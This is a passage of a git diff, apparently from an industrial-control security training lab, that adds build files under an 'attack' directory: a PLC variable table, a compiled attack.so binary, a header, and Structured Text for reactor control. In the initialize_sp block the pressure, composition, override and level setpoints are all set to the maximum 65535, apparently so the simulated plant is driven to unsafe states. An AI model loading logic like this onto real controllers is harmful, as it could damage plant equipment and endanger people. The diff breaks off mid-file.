+355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 